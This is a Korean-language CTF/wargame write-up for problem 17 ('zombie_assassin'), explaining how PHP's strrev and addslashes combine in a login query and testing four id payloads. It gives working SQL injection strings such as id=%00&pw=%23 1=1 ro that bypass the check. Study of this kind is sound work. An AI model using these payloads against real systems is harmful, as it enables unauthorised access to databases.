[17] assassin
문제
풀이
처음 보는 함수가 나왔다.
strrev는 입력받은 문자열을 거꾸로 뒤집어서 반환하는 함수다.
strrev(“hello”) ⇒ olleh
이런 식이다.
주의할 점은, Byte 단위로 뒤집기 때문에 2Byte 문자인 한글이 들어가면 깨지게 된다는 점이다.
이번 문제에서는 여러번 접했었던 addslashes를 좀 더 정확히 볼 필요가 있을 것 같다.
addslashes는 싱글쿼터, 더블쿼터, 역슬래시, Null Byte 앞에 역슬래시를 붙여주는 함수다.
주어진 쿼리문을 보겠다.
1
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
쿼리문 자체는 16번 문제와 다른 점이 없다.
16번에서는 id에 역슬래시, pw에 or 1=1 %23 을 주어 문제를 풀었었다.
이번 문제에서 새로 고려하여야하는 점은
① 역슬래시가 이스케이핑 될 것이라는 점과
② strrev에 의해 문자열이 거꾸로 읽힐 것이라는 점이다.
pw의 경우는 간단하다. 그냥 문자열을 거꾸로 입력해주면 된다.
- %23 1=1 ro
id가 이 문제의 포인트인데,
싱글쿼터, 더블쿼터, 역슬래시, Null Byte를 id의 페이로드로 주었을 때를 각각 살펴보겠다.
[1] 싱글쿼터 (id=’&pw=%23 1=1 ro)
addslashes ⇒ \’
strrev ⇒ ‘\
최종 쿼리 ⇒ where id=’‘\’ and pw=’or 1=1 %23’
- 잘못된 접근이다. 싱글쿼터에 의해 id의 파라미터 부분이 바로 닫혀버린 후, \‘가 바깥에 남겨지므로 올바르지 않은 쿼리문이 만들어진다.
[2] 더블쿼터 (id=”&pw=%23 1=1 ro)
addslashes ⇒ \”
strrev ⇒ “\
최종 쿼리 ⇒ where id=’”\’ and pw=‘or 1=1 %23’
올바른 접근이다! 빨간색 부분이 통째로 id의 파라미터로 취급된다.
FALSE or TRUE 이므로 문제가 풀릴 것이다.
solve
[3] 역슬래시 (id=\&pw=%23 1=1 ro)
addslashes ⇒ \\
strrev ⇒ \\
최종 쿼리 ⇒ where id=’\\’ and pw=’or 1=1 %23’
- 잘못된 접근이다. \는 일반 문자 역슬래시로 취급되므로, 빨간색 부분이 id의 파라미터가 된다.
[4] Null Byte (id=%00&pw=%23 1=1 ro)
addslashes ⇒ \0
strrev ⇒ 0\
최종 쿼리 ⇒ where id=’0\’ and pw=‘or 1=1 %23’
올바른 접근이다! 빨간색 부분이 통째로 id의 파라미터로 취급된다.
FALSE or TRUE 이므로 문제가 풀릴 것이다.
solve
이상의 분석을 통해, 정답은 두 가지임을 확인했다.
1
id="&pw=%23 1=1 ro
1
id=%00&pw=%23 1=1 ro